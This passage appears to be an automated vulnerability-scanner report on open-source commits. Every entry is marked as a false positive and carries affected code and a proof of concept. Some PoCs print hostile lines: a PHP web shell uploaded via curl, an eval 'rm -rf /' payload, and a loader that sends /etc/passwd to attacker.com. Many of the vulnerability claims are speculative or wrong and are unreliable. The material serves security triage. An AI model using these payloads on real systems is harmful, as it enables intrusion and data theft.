    value = unquote(value, encoding=encoding)

Proof of Concept

Send an HTTP request with the following Content-Type header:

GET / HTTP/1.1
Host: example.com
Content-Type: text/plain; charset*=BOGUSencoding''%20

Before the patch, Django would raise an unhandled LookupError (unknown encoding: BOGUSencoding), resulting in HTTP 500. In DEBUG mode, this leaks a full stack trace. Script:

import requests
r = requests.get('http://localhost:8000/', headers={'Content-Type': "text/plain; charset*=BOGUSencoding''%20"})
print(r.status_code)  # 500 before patch, 400 after patch

🔥 HIGH FALSE POSITIVE Credentials Transmitted Over Unencrypted Channel

Commit: ed46c962f394834b533faf6dea724e757e8da43f

Author: Robert Clarke

Before this patch, the `basicAuth` struct's `RequireTransportSecurity()` method always returned `true`, which should have prevented basic auth credentials from being sent over non-TLS (insecure) gRPC connections. However, this hardcoded `true` value actually caused a conflict: when connecting to a non-TLS endpoint (using `insecure.NewCredentials()`), gRPC would reject the connection because the per-RPC credentials demanded transport security but none was configured. The fix makes `requireTransportSecurity` match the actual TLS state (`secure` variable). The real security concern is the inverse scenario: if an attacker or misconfiguration causes basic auth credentials to be transmitted over a plaintext gRPC connection, the credentials (username/password encoded in Base64) would be exposed in transit.

🔍 View Affected Code & PoC

Affected Code

func (c *basicAuth) RequireTransportSecurity() bool {
	return true
}

Proof of Concept

Configure a Tempo datasource in Grafana with basic auth enabled and a non-TLS gRPC URL (e.g., grpc://tempo-host:9095). With RequireTransportSecurity() hardcoded to true, gRPC rejects the connection entirely. After the fix with requireTransportSecurity=false for non-TLS, the connection succeeds but credentials flow over plaintext. An attacker on the network path can capture the gRPC stream and decode the Authorization header: `echo 'dXNlcjpwYXNzd29yZA==' | base64 -d` => `user:password`, extracting the Tempo datasource credentials.

🔥 HIGH FALSE POSITIVE Improper Access Control / Authentication Bypass

Commit: e8b5fdc083f38f0395c992e9e9c6a4749674acc5

Author: Rich Bowen

The original example configuration had 'Require all granted' at the Directory level, which grants unauthenticated access to all users by default. The LimitExcept block only required authentication for non-GET/POST/OPTIONS methods, but the outer 'Require all granted' could override authentication requirements depending on configuration context. The patch removes 'Require all granted' and replaces the LimitExcept approach with a RequireAny block that properly requires either the correct HTTP method OR an authenticated admin user, ensuring write operations require authentication.

🔍 View Affected Code & PoC

Affected Code

&lt;Directory "/usr/local/apache2/htdocs/foo"&gt;
    Require all granted
    Dav On
    ...
    &lt;LimitExcept GET POST OPTIONS&gt;
        Require user admin
    &lt;/LimitExcept&gt;

Proof of Concept

With the old config, an unauthenticated user could perform WebDAV write operations: `curl -X PUT http://example.com/foo/malicious.php -d '<?php system($_GET["cmd"]); ?>'` - The 'Require all granted' directive grants access to all users, and depending on Apache's authorization merging behavior, could allow unauthenticated PUT/DELETE/MKCOL requests to modify server files, potentially leading to remote code execution.

🔥 HIGH FALSE POSITIVE Authentication Bypass

Commit: f1b77b82db5b8f4a0a10db5fb013b39869db464d

Author: colin-stuart

The code allowed SAML authentication to create duplicate user_auth records for SCIM-provisioned users instead of updating existing ones. An attacker could exploit this by logging in via SAML with a SCIM user's credentials to create a new auth record with their own AuthID, potentially bypassing access controls or creating authentication confusion.

🔍 View Affected Code & PoC

Affected Code

if identity.AuthenticatedBy == login.GenericOAuthModule {
    query := &login.GetAuthInfoQuery{AuthModule: identity.AuthenticatedBy, UserId: usr.ID}
    userAuth, err = s.authInfoService.GetAuthInfo(ctx, query)

Proof of Concept

1. SCIM provisions user with email '[email protected]' and creates user_auth record with empty AuthID
2. Attacker performs SAML login with same email '[email protected]' but different AuthID 'attacker-saml-id' 
3. Code fails to find existing auth record by AuthID lookup, creates new user_auth record instead of updating existing one
4. Result: User now has two authentication methods - original SCIM provision + attacker's SAML AuthID, allowing potential unauthorized access

⚠️ MEDIUM FALSE POSITIVE Man-in-the-Middle Attack / Insufficient Certificate Validation

Commit: f13db6553c2037967bd87e215e1a12d38b8fe211

Author: Maksym Revutskyi

The code before the patch used HTTP transport without proper TLS certificate validation when communicating with external image renderer services. This allowed attackers to intercept HTTPS communications through man-in-the-middle attacks, potentially exposing authentication tokens and sensitive data. The patch adds support for custom CA certificates to enable proper certificate validation.

🔍 View Affected Code & PoC

Affected Code

var netTransport = &http.Transport{
	Proxy: http.ProxyFromEnvironment,
	Dial: (&net.Dialer{
		Timeout: 30 * time.Second,
	}).Dial,
	TLSHandshakeTimeout: 5 * time.Second,
}

Proof of Concept

1. Set up a malicious proxy/MITM tool like mitmproxy with a self-signed certificate
2. Configure network to route Grafana's image renderer traffic through the proxy
3. The original code would accept any certificate without validation, allowing interception of requests containing X-Auth-Token headers
4. Command: `mitmproxy -p 8080 --certs *=cert.pem` then configure Grafana to use renderer at https://malicious-renderer:8081 - the auth tokens would be captured in plaintext

⚠️ MEDIUM FALSE POSITIVE Information Disclosure

Commit: 508662256608a0efe9221d801c894e8bbe126145

Author: Jean Boussier

The custom inspect methods in various Rails classes exposed sensitive internal state including cryptographic keys, secrets, and other confidential data in debug output, logs, and error messages. The patch replaces custom inspect methods with a standardized approach that only shows safe instance variables, preventing accidental leakage of sensitive information.

🔍 View Affected Code & PoC

Affected Code

def inspect # :nodoc:
  "#<#{self.class.name}:#{'%#016x' % (object_id << 1)}>"
end

Proof of Concept

# In a Rails console or debug session:
encryptor = ActiveSupport::MessageEncryptor.new(SecretKey.new)
encryptor.inspect
# Before patch: Would expose the secret key in the output
# After patch: Only shows class name and object ID

# Or in ActionCable connection:
connection = ActionCable::Connection::Base.new(server, env)
connection.inspect
# Before patch: Could expose connection secrets, tokens, or session data
# After patch: Only shows safe, filtered instance variables

⚠️ MEDIUM FALSE POSITIVE Information Disclosure

Commit: 4c0776608a2e8048093c80de192de4f446c4d1fa

Author: Mark Bastawros

The custom inspect methods in various Rails classes could potentially expose sensitive internal state or configuration data through debug output, error messages, or logs. The patch replaces these with a controlled inspection mechanism that only shows explicitly whitelisted instance variables.

🔍 View Affected Code & PoC

Affected Code

def inspect # :nodoc:
  "#<#{self.class.name}:#{'%#016x' % (object_id << 1)}>"
end

Proof of Concept

# In a Rails console or error handler:
connection = ActionCable::Connection::Base.new(server, env)
connection.instance_variable_set(:@secret_token, 'sensitive_data')
puts connection.inspect
# Before patch: Could expose @secret_token and other internals
# After patch: Only shows basic object info without sensitive variables

⚠️ MEDIUM FALSE POSITIVE Race Condition

Commit: 45a8a82db5f701546300fc7478ccbe8776350dc0

Author: Tobias Koppers

The code had a concurrency bug where the follower's aggregation number was read without proper locking, allowing the inner-vs-follower classification decision to be made on stale data if the aggregation number changed concurrently. This could lead to incorrect task classification and potential data corruption in the aggregation system.

🔍 View Affected Code & PoC

Affected Code

let follower_aggregation_number = get_aggregation_number(&follower);
let should_be_follower = follower_aggregation_number < upper_aggregation_number;

Proof of Concept

Thread 1 reads follower's aggregation number (e.g., 10) and determines it should be a follower. Thread 2 concurrently updates the same follower's aggregation number to a higher value (e.g., 20). Thread 1 proceeds with the stale classification decision, incorrectly treating a node that should be an inner node as a follower, leading to incorrect aggregation graph structure and potential data corruption.

⚠️ MEDIUM FALSE POSITIVE Path Traversal

Commit: 632725b0ad714043737b28e0d7b4a5ee6b2fa9ec

Author: Sebastian "Sebbie" Silbermann

The script accepts user-provided file paths without validation and directly converts them to file URLs, allowing attackers to access arbitrary files on the system. The patch adds proper path handling using pathToFileURL() which normalizes paths and prevents directory traversal attacks.

🔍 View Affected Code & PoC

Affected Code

if (version !== null && version.startsWith('/')) {
    version = pathToFileURL(version).href
}

Proof of Concept

pnpm run sync-react --version "../../../etc/passwd" would allow reading system files outside the intended React checkout directory before the patch

⚠️ MEDIUM FALSE POSITIVE Cross-Site Scripting (XSS)

Commit: 283ea9e9e014adf0013c18700c36b98efa2f0aac

Author: SiHyunLee

The Django admin interface was vulnerable to XSS attacks when displaying model string representations that contained only whitespace or malicious scripts. The vulnerability occurred because whitespace-only strings were not properly sanitized before being rendered in HTML contexts, allowing attackers to inject malicious scripts through model __str__ methods.

🔍 View Affected Code & PoC

Affected Code

obj_repr = format_html('<a href="{}">{}</a>', urlquote(obj_url), obj)
# Direct use of obj without sanitization

Proof of Concept

Create a Django model with a __str__ method that returns '<script>alert("XSS")</script>' or just whitespace followed by script tags. When viewing this object in the Django admin interface, the malicious script would execute in the browser due to improper escaping of the object representation in admin templates and breadcrumbs.

🔥 HIGH FALSE POSITIVE Authorization Bypass

Commit: 430abe78becc1996d2327e06d449aaad0ca80bc1

Author: Georges Chaudy

The old authorization system used deprecated Compile method which performed authorization checks item-by-item during iteration, potentially allowing unauthorized access to resources due to race conditions or incomplete authorization state. The patch replaces this with FilterAuthorized using BatchCheck which performs more robust batch authorization before returning results.

🔍 View Affected Code & PoC

Affected Code

checker, _, err := s.access.Compile(ctx, user, claims.ListRequest{
	Group: key.Group,
	Resource: key.Resource,
	Namespace: key.Namespace,
	Verb: utils.VerbGet,
})

Proof of Concept

1. User with limited permissions makes concurrent List requests for resources they shouldn't access
2. During the item-by-item authorization check in the old code, if authorization state changes between checks or there's a race condition, some unauthorized items could pass through the checker
3. Attacker could potentially access resources in folders/namespaces they don't have permissions for by exploiting timing windows in the deprecated Compile authorization flow

⚠️ MEDIUM FALSE POSITIVE Prototype Pollution

Commit: f247ebaf44317ac6648b62f99ceaed1e4fc4dc01

Author: Tim Neutkens

The original code used JSON.parse with a reviver function that could potentially allow __proto__ property manipulation during RSC payload deserialization. The patch explicitly deletes __proto__ keys during the walking phase and moves away from the reviver approach to prevent prototype pollution attacks.

🔍 View Affected Code & PoC

Affected Code

return JSON.parse(json, response._fromJSON);
// where _fromJSON reviver processes all key-value pairs including __proto__

Proof of Concept

Send RSC payload with malicious JSON: {"__proto__": {"polluted": true, "isAdmin": true}} - this could pollute Object.prototype during the reviver processing before parseModelString filters are applied, potentially affecting application logic that checks object properties.

⚠️ MEDIUM FALSE POSITIVE Race Condition

Commit: b0d812f414a22201e95d9646894dc5563f729ed4

Author: Rafael Bortolon Paulovic

The code had a race condition vulnerability during database migrations where concurrent writes to legacy tables could occur during unified storage migrations in rolling upgrade scenarios. This could lead to data corruption or inconsistent state as multiple processes could simultaneously modify the same database tables without proper synchronization.

🔍 View Affected Code & PoC

Affected Code

Resources: []migrations.ResourceInfo{
	{GroupResource: folderGR, LockTable: "folder"},
	{GroupResource: dashboardGR, LockTable: "dashboard"},
}

Proof of Concept

During a rolling upgrade, start a unified storage migration for dashboards while simultaneously having another Grafana instance write to the dashboard table. The race condition occurs when: 1) Migration process reads dashboard data from legacy tables, 2) Another instance modifies the same dashboard record, 3) Migration process writes to unified storage based on stale data, resulting in data loss or corruption of the dashboard modifications made in step 2.

⚠️ MEDIUM FALSE POSITIVE Information Disclosure

Commit: ba0f62a8dad160e0fdb2d7993fcb6c6d194f1d22

Author: beejeebus

The code exposed encrypted datasource secrets even when they were empty, potentially leaking secret metadata or encrypted empty values to unauthorized users. The patch fixes this by filtering out empty secrets before returning them in API responses.

🔍 View Affected Code & PoC

Affected Code

return q.converter.AsDataSource(ds)

Proof of Concept

GET /api/datasources/{uid} - An attacker with read access could retrieve a datasource configuration and see references to all configured secret fields (even empty ones) in the SecureJsonData map, potentially revealing what secret fields are configured and their encrypted empty values, which could aid in further attacks or reveal system configuration details.

⚠️ MEDIUM FALSE POSITIVE Path Traversal

Commit: 193f6f1a50938d9fd91636dadaf00274989e5a58

Author: Costa Alexoglou

The script used relative paths without proper directory resolution, allowing an attacker to execute the script from a different working directory and cause certificates to be written to unintended locations. This could lead to certificate files being created in arbitrary directories or overwriting existing files.

🔍 View Affected Code & PoC

Affected Code

rm -rf data/grafana-aggregator
mkdir -p data/grafana-aggregator
openssl req -nodes -new -x509 -keyout data/grafana-aggregator/ca.key

Proof of Concept

cd /tmp && /path/to/grafana/hack/make-aggregator-pki.sh - This would create certificates in /tmp/data/grafana-aggregator/ instead of the intended repo location, potentially overwriting files or bypassing access controls in the /tmp directory.

🔥 HIGH FALSE POSITIVE Authorization Bypass

Commit: aac8061faaff75f917338a326eaf8c3ce5d38342

Author: Tania

The code was performing namespace validation for all provider types, but the static provider (which serves local configuration) should not enforce namespace restrictions. This created an authorization bypass where users could access feature flags from other organizations by using the static provider endpoint with mismatched namespaces.

🔍 View Affected Code & PoC

Affected Code

valid, ns := b.validateNamespace(r)
if !valid {
	http.Error(w, namespaceMismatchMsg, http.StatusUnauthorized)
	return
}

Proof of Concept

An attacker authenticated to org-1 could access feature flags intended for org-2 by making requests to the static provider endpoints (when providerType is not FeaturesServiceProviderType or OFREPProviderType) with org-2's namespace in the URL path, bypassing the namespace validation that should prevent cross-organization access.

⚠️ MEDIUM FALSE POSITIVE State Modification via Dry-Run Bypass

Commit: ccaf8685b47b1a291ed0b1945be83f1e8324d977

Author: Igor Suleymanov

The dual-writer storage system was not properly handling dry-run operations, allowing state modifications and side effects (like permission changes) to occur when they should only validate without making changes. This violates the dry-run contract where operations must be read-only.

🔍 View Affected Code & PoC

Affected Code

// Before patch - no dry-run check in Create method
func (d *dualWriter) Create(ctx context.Context, in runtime.Object, createValidation rest.ValidateObjectFunc, options *metav1.CreateOptions) (runtime.Object, error) {
    // ... proceeds to modify both legacy and unified storage even during dry-run

Proof of Concept

POST /api/v1/folders
Content-Type: application/json
Dry-Run: All

{"metadata":{"name":"test-folder"},"spec":{"title":"Test Folder"}}

# Before patch: This would create actual folder and modify permissions despite dry-run flag
# After patch: This only validates without side effects

🔥 HIGH FALSE POSITIVE Code Injection

Commit: 4d867af6c5d4b47b240ae4050265eb806f36e61e

Author: Shelley Vohr

The code used eval() to parse configuration data, which allows arbitrary Python code execution if an attacker can control the node_builtin_shareable_builtins configuration value. The patch replaces eval() with json.loads() to safely parse JSON data.

🔍 View Affected Code & PoC

Affected Code

eval(config['node_builtin_shareable_builtins'])

Proof of Concept

An attacker could set node_builtin_shareable_builtins to '__import__("os").system("rm -rf /")' which would execute arbitrary shell commands when eval() processes it during the build configuration generation.

⚠️ MEDIUM FALSE POSITIVE Query Injection

Commit: 9be63b169b8e9f07a8b05df5d9b901a06ec611a3

Author: Steve Simpson

The code added validation for alert label matchers to prevent query injection in LogQL queries. Before the patch, malicious label names or matcher types could be injected into the LogQL query string without proper validation, potentially allowing attackers to manipulate the query structure.

🔍 View Affected Code & PoC

Affected Code

logql += fmt.Sprintf(` | alert_labels_%s %s %q`, matcher.Label, matcher.Type, matcher.Value)

Proof of Concept

POST request with Labels: [{"Type": "| json | drop", "Label": "severity", "Value": "critical"}] or Labels: [{"Type": "=", "Label": "test\" = \"injected\"", "Value": "value"}] to inject arbitrary LogQL operators and manipulate the query structure

⚠️ MEDIUM FALSE POSITIVE Resource Deletion Bypass

Commit: 3f6518806f8c58f91e8a1f6756deb42d1b09d22a

Author: Daniele Stefano Ferru

The code allowed updating Repository resources to remove all finalizers, which would cause immediate deletion without proper cleanup when the resource is later deleted. This bypasses the intended cleanup workflow and could lead to orphaned resources or incomplete cleanup operations.

🔍 View Affected Code & PoC

Affected Code

if len(r.Finalizers) == 0 && a.GetOperation() == admission.Create {
    r.Finalizers = []string{
        RemoveOrphanResourcesFinalizer,
        CleanFinalizer,
    }
}

Proof of Concept

1. Create a Repository resource (finalizers are added automatically)
2. Update the Repository with an empty finalizers array: `kubectl patch repository myrepo --type='merge' -p='{"metadata":{"finalizers":[]}}'`
3. Delete the Repository: `kubectl delete repository myrepo`
4. The resource is immediately deleted without cleanup, bypassing the controller's cleanup logic and potentially leaving orphaned resources

⚠️ MEDIUM FALSE POSITIVE Data Integrity Violation

Commit: 97cda8c49a2ffb5eea15a80ec99ada41c2b0df36

Author: Jean Boussier

The vulnerability allows silent data corruption where regular columns can be incorrectly deduplicated with virtual columns, causing INSERT and UPDATE statements to exclude legitimate columns and store NULL values instead of the intended data. This occurs when the deduplication registry encounters a virtual column first, then treats a regular column with the same name and type as identical.

🔍 View Affected Code & PoC

Affected Code

def ==(other)
  other.is_a?(Column) &&
    super &&
    auto_increment? == other.auto_increment?
end

Proof of Concept

1. Create a table with a virtual column named 'status'
2. Access the virtual column to register it in deduplication cache
3. Create another table with a regular column named 'status' 
4. Attempt to insert data: User.create!(status: 'active')
5. The status field will be NULL in database instead of 'active' because the regular column was deduplicated to the virtual column and excluded from the INSERT statement

⚠️ MEDIUM FALSE POSITIVE Data Integrity Violation

Commit: 1a4305dfd0ba24e8d7b2fe17dfc8b60818437468

Author: Joshua Huber

The Deduplicable module incorrectly treated virtual (generated) columns and regular columns as identical when they had the same name and type, causing regular columns to be silently excluded from INSERT/UPDATE operations. This resulted in NULL values being stored instead of the intended data, leading to silent data corruption.

🔍 View Affected Code & PoC

Affected Code

def ==(other)
  other.is_a?(Column) &&
    super &&
    auto_increment? == other.auto_increment?
end

Proof of Concept

1. Create a table with a virtual column named 'name'
2. Create another table with a regular column named 'name' of same type
3. Access virtual column first to register it in deduplication cache
4. Attempt INSERT on regular table: MyModel.create!(name: 'test_data')
5. The 'name' field will be NULL in database instead of 'test_data' due to column deduplication treating regular column as virtual

💣 CRITICAL FALSE POSITIVE Code Injection

Commit: 740d55cdcefe5e62a2e0f6d65cd543d4b24423cc

Author: Tobias Koppers

The feature allows arbitrary webpack loader execution through import attributes without proper validation or sandboxing. An attacker can specify malicious loader code that gets executed during the build process, potentially leading to remote code execution on the build server.

🔍 View Affected Code & PoC

Affected Code

import value from '../data.js' with { turbopackLoader: 'malicious-loader', turbopackLoaderOptions: '{"cmd":"rm -rf /"}' }

Proof of Concept

Create a malicious loader at node_modules/malicious-loader/index.js:
`​`​`​js
module.exports = function(source) {
  const { exec } = require('child_process');
  exec('curl -X POST -d "$(cat /etc/passwd)" http://attacker.com/exfil');
  return source;
}
`​`​`​
Then use: `import data from './file.txt' with { turbopackLoader: 'malicious-loader' }` to execute arbitrary commands during build time.

🔥 HIGH FALSE POSITIVE Authorization Bypass

Commit: 74d146aa370c1cbaf1a9e701389c0bc0d55e4794

Author: Mihai Turdean

The MT IAM API server was using a no-op storage backend for RoleBindings, which silently dropped all write operations and returned empty results for reads. Additionally, the authorizer denied all access to rolebindings. This created an authorization bypass where RBAC role bindings were completely non-functional, potentially allowing unauthorized access or preventing proper access controls from being enforced.

🔍 View Affected Code & PoC

Affected Code

roleBindingsStorage: noopstorage.ProvideStorageBackend(), // TODO: add a proper storage backend
...
return authorizer.DecisionDeny, "access denied", nil

Proof of Concept

POST /apis/iam.grafana.app/v0alpha1/rolebindings with body: {"apiVersion":"iam.grafana.app/v0alpha1","kind":"RoleBinding","metadata":{"name":"admin-binding"},"subjects":[{"kind":"User","name":"attacker"}],"roleRef":{"kind":"Role","name":"admin"}} - This request would be silently dropped by noopstorage, never creating the intended role binding, while appearing to succeed to the caller.

⚠️ MEDIUM FALSE POSITIVE Information Disclosure

Commit: 14ee584465b427a1419e4fb21555a5be42fffa22

Author: Tom Ratcliffe

The code previously only allowed admin users to see team folder owners, but the patch changes this to allow any user with 'teams:read' permission to see folder owners. This creates an information disclosure vulnerability where users with lower privileges can access team ownership information they shouldn't be able to see.

🔍 View Affected Code & PoC

Affected Code

const isAdmin = contextSrv.hasRole('Admin') || contextSrv.isGrafanaAdmin;
{isAdmin && config.featureToggles.teamFolders && folderDTO && 'ownerReferences' in folderDTO && (
  <FolderOwners ownerReferences={folderDTO.ownerReferences} />
)}

Proof of Concept

1. Create a user account without admin privileges but with 'teams:read' permission
2. Navigate to a team folder that has owner references
3. Before patch: Owner information is hidden
4. After patch: Owner information is now visible, disclosing team membership and folder ownership data that was previously restricted to admins only

⚠️ MEDIUM FALSE POSITIVE Race Condition / Optimistic Locking Bypass

Commit: 57b75b4a3b9ea631f957bf86db01de672a17d2b5

Author: Will Assis

The code had a race condition in optimistic locking implementation where concurrent operations could bypass resource version checks. The original implementation would rollback changes after transaction commit, creating a window where conflicting writes could succeed simultaneously. The patch fixes this by performing conflict detection during the transaction using proper WHERE clauses with resource version constraints.

🔍 View Affected Code & PoC

Affected Code

DELETE FROM resource
WHERE group = ? AND resource = ? AND namespace = ? AND name = ?;
-- Missing resource_version check in WHERE clause

Proof of Concept

1. Client A reads resource with RV=100
2. Client B reads same resource with RV=100
3. Client A updates resource (RV becomes 101)
4. Client B deletes resource using old RV=100
5. Both operations succeed due to missing RV constraint in DELETE/UPDATE queries, allowing Client B to delete a resource that was modified after they read it, violating optimistic concurrency control

⚠️ MEDIUM FALSE POSITIVE Integer Overflow / Denial of Service

Commit: 9a2113cb9b9d93719f94372814193170335b87ed

Author: Luke Sandberg

The code incorrectly used max() instead of min() to clamp worker counts, causing all systems to be treated as having 64+ cores and potentially overflowing usize on systems with many actual cores. This could lead to memory exhaustion or application crashes.

🔍 View Affected Code & PoC

Affected Code

let num_workers = num_workers.max(64);
(num_workers * num_workers * 16).next_power_of_two()

Proof of Concept

On a system with a large number of cores (e.g., 10000), the calculation becomes: (10000 * 10000 * 16).next_power_of_two() = 1,600,000,000.next_power_of_two() = 2,147,483,648, which exceeds usize limits on 32-bit systems and causes massive memory allocation attempts leading to DoS.

⚠️ MEDIUM FALSE POSITIVE Denial of Service

Commit: 2dd9b7cf76c31df5d7e26e5199e3c362c3e94f95

Author: Jimmy Lai

The code incorrectly checked for debugChannel existence instead of debugChannelReadable, causing the server to signal debug info availability even with write-only channels. This could cause clients to block indefinitely waiting for debug data that never arrives, resulting in a denial of service condition.

🔍 View Affected Code & PoC

Affected Code

debugChannel !== undefined,

Proof of Concept

// Server-side: Pass a write-only debug channel (no readable side)
const { Writable } = require('stream');
const writeOnlyChannel = new Writable({ write() {} });
renderToPipeableStream(component, { debugChannel: writeOnlyChannel });
// Client will now block forever waiting for debug data that cannot be read

⚠️ MEDIUM FALSE POSITIVE Integer Division by Zero / Panic-based DoS

Commit: 6dfcffe1cfb375363674723182b1a5d5c2894ea9

Author: Niklas Mischkulnig

The code performed integer division without checking for division by zero, which could cause a panic and crash the application. The patch replaces direct division with checked_div() to handle zero divisors safely.

🔍 View Affected Code & PoC

Affected Code

if max_chunk_count_per_group != 0 {
    chunks_to_merge_size / max_chunk_count_per_group
} else {
    unreachable!();
}

Proof of Concept

Set max_chunk_count_per_group to 0 through configuration or input parameters. When make_production_chunks() is called with this configuration, the division chunks_to_merge_size / max_chunk_count_per_group will cause a panic, crashing the Turbopack bundler and causing a denial of service.

⚠️ MEDIUM FALSE POSITIVE Denial of Service (Stack Overflow)

Commit: cf993fb457417e0f20535b1fd42c3f45df966583

Author: Hendrik Liebau

The recursive traversal of async node chains in visitAsyncNode causes stack overflow when processing deep async sequences. Database libraries creating long linear chains of async operations can trigger this DoS condition. The patch converts recursive traversal to iterative to prevent stack exhaustion.

🔍 View Affected Code & PoC

Affected Code

function visitAsyncNode(...) {
  if (visited.has(node)) {
    return visited.get(node);
  }
  visited.set(node, null);
  const result = visitAsyncNodeImpl(request, task, node, visited, cutOff);

Proof of Concept

// Create a deep chain of async sequences (10000+ levels)
let current = null;
for (let i = 0; i < 10000; i++) {
  current = { previous: current, end: -1 };
}
// This deep chain will cause stack overflow in visitAsyncNode
// when React Flight processes the async node traversal

⚠️ MEDIUM FALSE POSITIVE Path Traversal

Commit: 3ce1316b05968d2a8cffe42a110f2726f2c44c3e

Author: Joseph Savona

The code had improper path resolution that allowed attackers to access files outside the intended directory structure. The patch fixes relative path resolution by properly normalizing paths relative to PROJECT_ROOT instead of allowing arbitrary relative paths from the current working directory.

🔍 View Affected Code & PoC

Affected Code

const inputPath = path.isAbsolute(opts.path)
  ? opts.path
  : path.resolve(process.cwd(), opts.path);

Proof of Concept

yarn snap compile ../../../etc/passwd